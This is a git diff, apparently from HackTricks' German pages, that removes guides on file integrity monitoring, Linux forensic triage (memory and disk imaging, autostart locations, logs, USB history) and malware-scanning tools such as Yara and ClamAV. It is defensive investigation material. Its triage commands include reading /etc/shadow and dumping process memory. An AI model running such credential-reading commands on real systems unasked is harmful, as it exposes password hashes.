Eine Basislinie besteht darin, einen Snapshot bestimmter Teile eines Systems zu erstellen, um **diesen mit einem zukünftigen Status zu vergleichen, um Änderungen hervorzuheben**.
|
||||
|
||||
Zum Beispiel können Sie den Hash jeder Datei des Dateisystems berechnen und speichern, um herauszufinden, welche Dateien geändert wurden.\
|
||||
Dies kann auch mit den erstellten Benutzerkonten, laufenden Prozessen, laufenden Diensten und allem anderen, was sich nicht viel oder gar nicht ändern sollte, durchgeführt werden.
|
||||
|
||||
## Datei-Integritätsüberwachung
|
||||
|
||||
Die Datei-Integritätsüberwachung (FIM) ist eine kritische Sicherheitstechnik, die IT-Umgebungen und Daten schützt, indem sie Änderungen an Dateien verfolgt. Sie umfasst zwei wichtige Schritte:
|
||||
|
||||
1. **Basislinienvergleich:** Eine Basislinie mit Datei-Attributen oder kryptografischen Prüfziffern (wie MD5 oder SHA-2) für zukünftige Vergleiche festlegen, um Modifikationen zu erkennen.
|
||||
2. **Echtzeit-Änderungsbenachrichtigung:** Sofortige Benachrichtigungen erhalten, wenn Dateien zugegriffen oder geändert werden, typischerweise durch OS-Kernel-Erweiterungen.
|
||||
|
||||
## Werkzeuge
|
||||
|
||||
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,370 +0,0 @@
|
||||
# Linux Forensics
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Erste Informationssammlung
|
||||
|
||||
### Grundlegende Informationen
|
||||
|
||||
Zunächst wird empfohlen, ein **USB** mit **gut bekannten Binaries und Bibliotheken darauf** zu haben (Sie können einfach Ubuntu herunterladen und die Ordner _/bin_, _/sbin_, _/lib,_ und _/lib64_ kopieren), dann das USB mounten und die Umgebungsvariablen so ändern, dass diese Binaries verwendet werden:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Sobald Sie das System so konfiguriert haben, dass es gute und bekannte Binaries verwendet, können Sie **einige grundlegende Informationen extrahieren**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||
ps -ef #Running processes
|
||||
netstat -anp #Proccess and ports
|
||||
lsof -V #Open files
|
||||
netstat -rn; route #Routing table
|
||||
df; mount #Free space and mounted devices
|
||||
free #Meam and swap space
|
||||
w #Who is connected
|
||||
last -Faiwx #Logins
|
||||
lsmod #What is loaded
|
||||
cat /etc/passwd #Unexpected data?
|
||||
cat /etc/shadow #Unexpected data?
|
||||
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||
```
|
||||
#### Verdächtige Informationen
|
||||
|
||||
Während Sie die grundlegenden Informationen sammeln, sollten Sie nach seltsamen Dingen suchen, wie zum Beispiel:
|
||||
|
||||
- **Root-Prozesse** laufen normalerweise mit niedrigen PIDs, also wenn Sie einen Root-Prozess mit einer großen PID finden, könnten Sie Verdacht schöpfen
|
||||
- Überprüfen Sie die **registrierten Logins** von Benutzern ohne eine Shell in `/etc/passwd`
|
||||
- Überprüfen Sie auf **Passwort-Hashes** in `/etc/shadow` für Benutzer ohne eine Shell
|
||||
|
||||
### Speicherabbild
|
||||
|
||||
Um den Speicher des laufenden Systems zu erhalten, wird empfohlen, [**LiME**](https://github.com/504ensicsLabs/LiME) zu verwenden.\
|
||||
Um es zu **kompilieren**, müssen Sie den **gleichen Kernel** verwenden, den die Opfermaschine verwendet.
|
||||
|
||||
> [!NOTE]
|
||||
> Denken Sie daran, dass Sie **LiME oder irgendetwas anderes** nicht auf der Opfermaschine installieren können, da dies mehrere Änderungen daran vornehmen würde
|
||||
|
||||
Wenn Sie also eine identische Version von Ubuntu haben, können Sie `apt-get install lime-forensics-dkms` verwenden.\
|
||||
In anderen Fällen müssen Sie [**LiME**](https://github.com/504ensicsLabs/LiME) von GitHub herunterladen und es mit den richtigen Kernel-Headern kompilieren. Um die **genauen Kernel-Header** der Opfermaschine zu erhalten, können Sie einfach das **Verzeichnis** `/lib/modules/<kernel version>` auf Ihre Maschine kopieren und dann LiME mit diesen kompilieren:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME unterstützt 3 **Formate**:
|
||||
|
||||
- Raw (jeder Abschnitt wird zusammengefügt)
|
||||
- Padded (gleich wie raw, aber mit Nullen in den rechten Bits)
|
||||
- Lime (empfohlenes Format mit Metadaten)
|
||||
|
||||
LiME kann auch verwendet werden, um den **Dump über das Netzwerk zu senden**, anstatt ihn auf dem System zu speichern, indem man etwas wie: `path=tcp:4444` verwendet.
|
||||
|
||||
### Festplattenabbildung
|
||||
|
||||
#### Herunterfahren
|
||||
|
||||
Zunächst müssen Sie das **System herunterfahren**. Dies ist nicht immer eine Option, da das System manchmal ein Produktionsserver ist, den sich das Unternehmen nicht leisten kann, herunterzufahren.\
|
||||
Es gibt **2 Möglichkeiten**, das System herunterzufahren: ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem** zu **synchronisieren**, aber es ermöglicht auch, dass mögliche **Malware** **Beweise zerstört**. Der "Stecker ziehen"-Ansatz kann **einige Informationsverluste** mit sich bringen (nicht viele Informationen werden verloren gehen, da wir bereits ein Abbild des Speichers erstellt haben) und die **Malware wird keine Gelegenheit haben**, etwas dagegen zu unternehmen. Daher, wenn Sie **verdächtigen**, dass es **Malware** geben könnte, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
|
||||
|
||||
#### Erstellen eines Abbilds der Festplatte
|
||||
|
||||
Es ist wichtig zu beachten, dass Sie **bevor Sie Ihren Computer mit etwas, das mit dem Fall zu tun hat, verbinden**, sicherstellen müssen, dass er als **schreibgeschützt** **gemountet** wird, um zu vermeiden, dass Informationen verändert werden.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
||||
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Disk Image Voranalyse
|
||||
|
||||
Erstellung eines Disk-Images ohne weitere Daten.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Check which type of disk image it's
|
||||
img_stat -t evidence.img
|
||||
raw
|
||||
#You can list supported types with
|
||||
img_stat -i list
|
||||
Supported image format types:
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
|
||||
#Data of the image
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
FILE SYSTEM INFORMATION
|
||||
--------------------------------------------
|
||||
File System Type: Ext4
|
||||
Volume Name:
|
||||
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||
|
||||
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||
|
||||
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||
Unmounted properly
|
||||
Last mounted on: /mnt/disk0
|
||||
|
||||
Source OS: Linux
|
||||
[...]
|
||||
|
||||
#ls inside the image
|
||||
fls -i raw -f ext4 disk.img
|
||||
d/d 11: lost+found
|
||||
d/d 12: Documents
|
||||
d/d 8193: folder1
|
||||
d/d 8194: folder2
|
||||
V/V 65537: $OrphanFiles
|
||||
|
||||
#ls inside folder
|
||||
fls -i raw -f ext4 disk.img 12
|
||||
r/r 16: secret.txt
|
||||
|
||||
#cat file inside image
|
||||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
## Suche nach bekanntem Malware
|
||||
|
||||
### Modifizierte Systemdateien
|
||||
|
||||
Linux bietet Werkzeuge zur Sicherstellung der Integrität von Systemkomponenten, die entscheidend sind, um potenziell problematische Dateien zu erkennen.
|
||||
|
||||
- **RedHat-basierte Systeme**: Verwenden Sie `rpm -Va` für eine umfassende Überprüfung.
|
||||
- **Debian-basierte Systeme**: `dpkg --verify` für die erste Überprüfung, gefolgt von `debsums | grep -v "OK$"` (nach der Installation von `debsums` mit `apt-get install debsums`), um etwaige Probleme zu identifizieren.
|
||||
|
||||
### Malware/Rootkit-Detektoren
|
||||
|
||||
Lesen Sie die folgende Seite, um mehr über Werkzeuge zu erfahren, die nützlich sein können, um Malware zu finden:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Suche nach installierten Programmen
|
||||
|
||||
Um effektiv nach installierten Programmen auf sowohl Debian- als auch RedHat-Systemen zu suchen, sollten Sie Systemprotokolle und Datenbanken zusammen mit manuellen Überprüfungen in gängigen Verzeichnissen nutzen.
|
||||
|
||||
- Für Debian, überprüfen Sie _**`/var/lib/dpkg/status`**_ und _**`/var/log/dpkg.log`**_, um Details zu Paketinstallationen abzurufen, und verwenden Sie `grep`, um spezifische Informationen herauszufiltern.
|
||||
- RedHat-Benutzer können die RPM-Datenbank mit `rpm -qa --root=/mntpath/var/lib/rpm` abfragen, um installierte Pakete aufzulisten.
|
||||
|
||||
Um Software zu entdecken, die manuell oder außerhalb dieser Paketmanager installiert wurde, erkunden Sie Verzeichnisse wie _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ und _**`/sbin`**_. Kombinieren Sie Verzeichnisauflistungen mit systemspezifischen Befehlen, um ausführbare Dateien zu identifizieren, die nicht mit bekannten Paketen verbunden sind, und verbessern Sie Ihre Suche nach allen installierten Programmen.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
cat /var/log/dpkg.log | grep installed
|
||||
# RedHat RPM database query
|
||||
rpm -qa --root=/mntpath/var/lib/rpm
|
||||
# Listing directories for manual installations
|
||||
ls /usr/sbin /usr/bin /bin /sbin
|
||||
# Identifying non-package executables (Debian)
|
||||
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||
# Identifying non-package executables (RedHat)
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
## Wiederherstellung gelöschter laufender Binärdateien
|
||||
|
||||
Stellen Sie sich einen Prozess vor, der von /tmp/exec ausgeführt und dann gelöscht wurde. Es ist möglich, ihn zu extrahieren.
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Autostart-Standorte überprüfen
|
||||
|
||||
### Geplante Aufgaben
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
/var/spool/anacron \
|
||||
/etc/cron* \
|
||||
/etc/at* \
|
||||
/etc/anacrontab \
|
||||
/etc/incron.d/* \
|
||||
/var/spool/incron/* \
|
||||
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
### Dienste
|
||||
|
||||
Pfad, wo Malware als Dienst installiert werden könnte:
|
||||
|
||||
- **/etc/inittab**: Ruft Initialisierungsskripte wie rc.sysinit auf und leitet weiter zu Startskripten.
|
||||
- **/etc/rc.d/** und **/etc/rc.boot/**: Enthalten Skripte für den Dienststart, wobei letzteres in älteren Linux-Versionen zu finden ist.
|
||||
- **/etc/init.d/**: Wird in bestimmten Linux-Versionen wie Debian zum Speichern von Startskripten verwendet.
|
||||
- Dienste können auch über **/etc/inetd.conf** oder **/etc/xinetd/** aktiviert werden, abhängig von der Linux-Variante.
|
||||
- **/etc/systemd/system**: Ein Verzeichnis für System- und Dienstmanager-Skripte.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Enthält Links zu Diensten, die in einem Multi-User-Runlevel gestartet werden sollen.
|
||||
- **/usr/local/etc/rc.d/**: Für benutzerdefinierte oder Drittanbieter-Dienste.
|
||||
- **\~/.config/autostart/**: Für benutzerspezifische automatische Startanwendungen, die ein Versteck für benutzergerichtete Malware sein können.
|
||||
- **/lib/systemd/system/**: Systemweite Standard-Einheitendateien, die von installierten Paketen bereitgestellt werden.
|
||||
|
||||
### Kernel-Module
|
||||
|
||||
Linux-Kernel-Module, die oft von Malware als Rootkit-Komponenten verwendet werden, werden beim Systemstart geladen. Die für diese Module kritischen Verzeichnisse und Dateien umfassen:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Enthält Module für die laufende Kernel-Version.
|
||||
- **/etc/modprobe.d**: Enthält Konfigurationsdateien zur Steuerung des Modul-Ladens.
|
||||
- **/etc/modprobe** und **/etc/modprobe.conf**: Dateien für globale Moduleinstellungen.
|
||||
|
||||
### Andere Autostart-Standorte
|
||||
|
||||
Linux verwendet verschiedene Dateien, um Programme automatisch beim Benutzer-Login auszuführen, die möglicherweise Malware beherbergen:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile** und **/etc/bash.bashrc**: Werden bei jedem Benutzer-Login ausgeführt.
|
||||
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile** und **\~/.config/autostart**: Benutzerspezifische Dateien, die beim Login ausgeführt werden.
|
||||
- **/etc/rc.local**: Wird ausgeführt, nachdem alle Systemdienste gestartet wurden, was das Ende des Übergangs zu einer Multiuser-Umgebung markiert.
|
||||
|
||||
## Protokolle überprüfen
|
||||
|
||||
Linux-Systeme verfolgen Benutzeraktivitäten und Systemereignisse durch verschiedene Protokolldateien. Diese Protokolle sind entscheidend für die Identifizierung unbefugter Zugriffe, Malware-Infektionen und anderer Sicherheitsvorfälle. Wichtige Protokolldateien umfassen:
|
||||
|
||||
- **/var/log/syslog** (Debian) oder **/var/log/messages** (RedHat): Erfassen systemweite Nachrichten und Aktivitäten.
|
||||
- **/var/log/auth.log** (Debian) oder **/var/log/secure** (RedHat): Protokollieren Authentifizierungsversuche, erfolgreiche und fehlgeschlagene Logins.
|
||||
- Verwenden Sie `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`, um relevante Authentifizierungsereignisse zu filtern.
|
||||
- **/var/log/boot.log**: Enthält Systemstartnachrichten.
|
||||
- **/var/log/maillog** oder **/var/log/mail.log**: Protokolliert Aktivitäten des E-Mail-Servers, nützlich zur Verfolgung von E-Mail-bezogenen Diensten.
|
||||
- **/var/log/kern.log**: Speichert Kernel-Nachrichten, einschließlich Fehlern und Warnungen.
|
||||
- **/var/log/dmesg**: Enthält Nachrichten von Gerätetreibern.
|
||||
- **/var/log/faillog**: Protokolliert fehlgeschlagene Anmeldeversuche, was bei Sicherheitsuntersuchungen hilft.
|
||||
- **/var/log/cron**: Protokolliert die Ausführung von Cron-Jobs.
|
||||
- **/var/log/daemon.log**: Verfolgt Aktivitäten von Hintergrunddiensten.
|
||||
- **/var/log/btmp**: Dokumentiert fehlgeschlagene Anmeldeversuche.
|
||||
- **/var/log/httpd/**: Enthält Apache HTTPD-Fehler- und Zugriffsprotokolle.
|
||||
- **/var/log/mysqld.log** oder **/var/log/mysql.log**: Protokolliert Aktivitäten der MySQL-Datenbank.
|
||||
- **/var/log/xferlog**: Protokolliert FTP-Dateiübertragungen.
|
||||
- **/var/log/**: Überprüfen Sie immer auf unerwartete Protokolle hier.
|
||||
|
||||
> [!HINWEIS]
|
||||
> Linux-Systemprotokolle und Auditsysteme können bei einem Eindringen oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen im Allgemeinen einige der nützlichsten Informationen über böswillige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es wichtig, beim Überprüfen verfügbarer Protokolldateien nach Lücken oder nicht in der Reihenfolge befindlichen Einträgen zu suchen, die auf Löschung oder Manipulation hinweisen könnten.
|
||||
|
||||
**Linux führt eine Befehlsverlaufshistorie für jeden Benutzer**:
|
||||
|
||||
- \~/.bash_history
|
||||
- \~/.zsh_history
|
||||
- \~/.zsh_sessions/\*
|
||||
- \~/.python_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Darüber hinaus bietet der Befehl `last -Faiwx` eine Liste der Benutzeranmeldungen. Überprüfen Sie ihn auf unbekannte oder unerwartete Anmeldungen.
|
||||
|
||||
Überprüfen Sie Dateien, die zusätzliche Berechtigungen gewähren können:
|
||||
|
||||
- Überprüfen Sie `/etc/sudoers` auf unerwartete Benutzerberechtigungen, die möglicherweise gewährt wurden.
|
||||
- Überprüfen Sie `/etc/sudoers.d/` auf unerwartete Benutzerberechtigungen, die möglicherweise gewährt wurden.
|
||||
- Untersuchen Sie `/etc/groups`, um ungewöhnliche Gruppenmitgliedschaften oder Berechtigungen zu identifizieren.
|
||||
- Untersuchen Sie `/etc/passwd`, um ungewöhnliche Gruppenmitgliedschaften oder Berechtigungen zu identifizieren.
|
||||
|
||||
Einige Apps generieren auch ihre eigenen Protokolle:
|
||||
|
||||
- **SSH**: Überprüfen Sie _\~/.ssh/authorized_keys_ und _\~/.ssh/known_hosts_ auf unbefugte Remote-Verbindungen.
|
||||
- **Gnome Desktop**: Überprüfen Sie _\~/.recently-used.xbel_ auf kürzlich verwendete Dateien über Gnome-Anwendungen.
|
||||
- **Firefox/Chrome**: Überprüfen Sie den Browserverlauf und Downloads in _\~/.mozilla/firefox_ oder _\~/.config/google-chrome_ auf verdächtige Aktivitäten.
|
||||
- **VIM**: Überprüfen Sie _\~/.viminfo_ auf Nutzungsdetails, wie z.B. aufgerufene Dateipfade und Suchverlauf.
|
||||
- **Open Office**: Überprüfen Sie den Zugriff auf kürzlich verwendete Dokumente, die auf kompromittierte Dateien hinweisen könnten.
|
||||
- **FTP/SFTP**: Überprüfen Sie Protokolle in _\~/.ftp_history_ oder _\~/.sftp_history_ auf Dateiübertragungen, die möglicherweise unbefugt sind.
|
||||
- **MySQL**: Untersuchen Sie _\~/.mysql_history_ auf ausgeführte MySQL-Abfragen, die möglicherweise unbefugte Datenbankaktivitäten offenbaren.
|
||||
- **Less**: Analysieren Sie _\~/.lesshst_ auf Nutzungshistorie, einschließlich angezeigter Dateien und ausgeführter Befehle.
|
||||
- **Git**: Überprüfen Sie _\~/.gitconfig_ und Projekt_.git/logs_ auf Änderungen an Repositories.
|
||||
|
||||
### USB-Protokolle
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) ist ein kleines Stück Software, das in reinem Python 3 geschrieben ist und Linux-Protokolldateien (`/var/log/syslog*` oder `/var/log/messages*`, abhängig von der Distribution) analysiert, um USB-Ereignisverlaufstabellen zu erstellen.
|
||||
|
||||
Es ist interessant zu **wissen, welche USBs verwendet wurden**, und es wird nützlicher sein, wenn Sie eine autorisierte Liste von USBs haben, um "Verstoßereignisse" (die Verwendung von USBs, die nicht in dieser Liste enthalten sind) zu finden.
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip3 install usbrip
|
||||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### Beispiele
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
#Search for vid and/or pid
|
||||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Mehr Beispiele und Informationen finden Sie im GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
## Überprüfen von Benutzerkonten und Anmeldeaktivitäten
|
||||
|
||||
Untersuchen Sie die _**/etc/passwd**_, _**/etc/shadow**_ und **Sicherheitsprotokolle** auf ungewöhnliche Namen oder Konten, die in unmittelbarem Zusammenhang mit bekannten unbefugten Ereignissen erstellt oder verwendet wurden. Überprüfen Sie auch mögliche sudo-Brute-Force-Angriffe.\
|
||||
Darüber hinaus sollten Sie Dateien wie _**/etc/sudoers**_ und _**/etc/groups**_ auf unerwartete Berechtigungen für Benutzer überprüfen.\
|
||||
Schließlich suchen Sie nach Konten mit **keinen Passwörtern** oder **leicht zu erratenden** Passwörtern.
|
||||
|
||||
## Untersuchen des Dateisystems
|
||||
|
||||
### Analyse von Dateisystemstrukturen bei Malware-Untersuchungen
|
||||
|
||||
Bei der Untersuchung von Malware-Vorfällen ist die Struktur des Dateisystems eine entscheidende Informationsquelle, die sowohl die Reihenfolge der Ereignisse als auch den Inhalt der Malware offenbart. Malware-Autoren entwickeln jedoch Techniken, um diese Analyse zu behindern, wie z.B. das Ändern von Dateistempeln oder das Vermeiden des Dateisystems zur Datenspeicherung.
|
||||
|
||||
Um diesen anti-forensischen Methoden entgegenzuwirken, ist es wichtig:
|
||||
|
||||
- **Eine gründliche Zeitlinienanalyse durchzuführen** mit Tools wie **Autopsy** zur Visualisierung von Ereigniszeitlinien oder **Sleuth Kit's** `mactime` für detaillierte Zeitdaten.
|
||||
- **Unerwartete Skripte** im $PATH des Systems zu untersuchen, die Shell- oder PHP-Skripte enthalten könnten, die von Angreifern verwendet werden.
|
||||
- **`/dev` auf atypische Dateien zu überprüfen**, da es traditionell spezielle Dateien enthält, aber möglicherweise malwarebezogene Dateien beherbergt.
|
||||
- **Nach versteckten Dateien oder Verzeichnissen** mit Namen wie ".. " (Punkt Punkt Leerzeichen) oder "..^G" (Punkt Punkt Steuerung-G) zu suchen, die bösartige Inhalte verbergen könnten.
|
||||
- **Setuid-Root-Dateien zu identifizieren** mit dem Befehl: `find / -user root -perm -04000 -print` Dies findet Dateien mit erhöhten Berechtigungen, die von Angreifern missbraucht werden könnten.
|
||||
- **Löschzeitstempel** in Inode-Tabellen zu überprüfen, um massenhafte Dateilöschungen zu erkennen, die möglicherweise auf die Anwesenheit von Rootkits oder Trojanern hinweisen.
|
||||
- **Konsekutive Inodes** auf nahegelegene bösartige Dateien zu überprüfen, nachdem eine identifiziert wurde, da sie möglicherweise zusammen platziert wurden.
|
||||
- **Häufige Binärverzeichnisse** (_/bin_, _/sbin_) auf kürzlich geänderte Dateien zu überprüfen, da diese möglicherweise von Malware verändert wurden.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass ein **Angreifer** die **Zeit** **ändern** kann, um **Dateien legitim erscheinen** zu lassen, aber er **kann** die **inode** **nicht** ändern. Wenn Sie feststellen, dass eine **Datei** angibt, dass sie zur **gleichen Zeit** wie die anderen Dateien im selben Ordner erstellt und geändert wurde, aber die **inode** **unerwartet größer** ist, dann wurden die **Zeitstempel dieser Datei geändert**.
|
||||
|
||||
## Vergleich von Dateien verschiedener Dateisystemversionen
|
||||
|
||||
### Zusammenfassung des Vergleichs von Dateisystemversionen
|
||||
|
||||
Um Dateisystemversionen zu vergleichen und Änderungen zu identifizieren, verwenden wir vereinfachte `git diff`-Befehle:
|
||||
|
||||
- **Um neue Dateien zu finden**, vergleichen Sie zwei Verzeichnisse:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Für modifizierte Inhalte** listen Sie Änderungen auf, während Sie spezifische Zeilen ignorieren:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **Um gelöschte Dateien zu erkennen**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Filteroptionen** (`--diff-filter`) helfen dabei, spezifische Änderungen wie hinzugefügte (`A`), gelöschte (`D`) oder modifizierte (`M`) Dateien einzugrenzen.
|
||||
- `A`: Hinzugefügte Dateien
|
||||
- `C`: Kopierte Dateien
|
||||
- `D`: Gelöschte Dateien
|
||||
- `M`: Modifizierte Dateien
|
||||
- `R`: Umbenannte Dateien
|
||||
- `T`: Typänderungen (z.B. Datei zu Symlink)
|
||||
- `U`: Nicht zusammengeführte Dateien
|
||||
- `X`: Unbekannte Dateien
|
||||
- `B`: Beschädigte Dateien
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
|
||||
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
- **Buch: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,154 +0,0 @@
|
||||
# Malware-Analyse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Forensik CheatSheets
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
## Online-Dienste
|
||||
|
||||
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||
- [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||
- [Koodous](https://koodous.com)
|
||||
- [Intezer](https://analyze.intezer.com)
|
||||
- [Any.Run](https://any.run/)
|
||||
|
||||
## Offline-Antivirus- und Erkennungstools
|
||||
|
||||
### Yara
|
||||
|
||||
#### Installieren
|
||||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Regeln vorbereiten
|
||||
|
||||
Verwenden Sie dieses Skript, um alle Yara-Malware-Regeln von GitHub herunterzuladen und zusammenzuführen: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Erstellen Sie das _**rules**_ Verzeichnis und führen Sie es aus. Dies erstellt eine Datei namens _**malware_rules.yar**_, die alle Yara-Regeln für Malware enthält.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### Scannen
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Überprüfen Sie auf Malware und erstellen Sie Regeln
|
||||
|
||||
Sie können das Tool [**YaraGen**](https://github.com/Neo23x0/yarGen) verwenden, um Yara-Regeln aus einer Binärdatei zu generieren. Schauen Sie sich diese Tutorials an: [**Teil 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Teil 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Teil 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
```
|
||||
### ClamAV
|
||||
|
||||
#### Installieren
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Scannen
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
clamscan folderpath #Scan the whole folder
|
||||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** erkennt potenziell bösartige **Fähigkeiten** in ausführbaren Dateien: PE, ELF, .NET. Es wird Dinge wie Att\&ck-Taktiken oder verdächtige Fähigkeiten wie:
|
||||
|
||||
- Überprüfung auf OutputDebugString-Fehler
|
||||
- als Dienst ausführen
|
||||
- Prozess erstellen
|
||||
|
||||
Holen Sie es sich im [**Github-Repo**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOCs
|
||||
|
||||
